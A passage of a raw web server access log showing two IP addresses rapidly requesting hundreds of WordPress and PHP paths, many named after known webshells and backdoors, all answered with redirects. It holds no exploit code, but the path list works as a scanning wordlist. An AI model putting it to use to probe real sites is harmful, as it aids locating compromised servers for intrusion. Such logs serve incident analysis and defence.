HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:41 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:41 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:42 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:43 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:43 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 